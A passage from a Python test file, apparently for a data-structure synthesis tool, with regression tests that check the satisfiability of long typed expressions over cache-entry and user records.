ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), ELambda(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EUnaryOp('not', EBinOp(EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))), '==', EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TBool())).with_type(TBool()))).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))]), collection_depth=2, validate_model=True) def test_regression9(self): e = ELet(EMakeMap2(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EMakeMap2(EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), '==', EEnumEntry('Disk').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), ELambda(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EUnaryOp('not', EBinOp(EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))), '==', EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TBool())).with_type(TBool()))).with_type(TBool()) satisfy(e, collection_depth=2, validate_model=True) def test_regression10(self): e = ELet(EMakeMap2(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EMakeMap2(EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), '==', EEnumEntry('Disk').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), ELambda(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EUnaryOp('not', EBinOp(EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))), '==', EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TBool())).with_type(TBool()))).with_type(TBool()) satisfy(e.f.apply_to(e.e), collection_depth=2, validate_model=True) def test_regression11(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EMap(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), 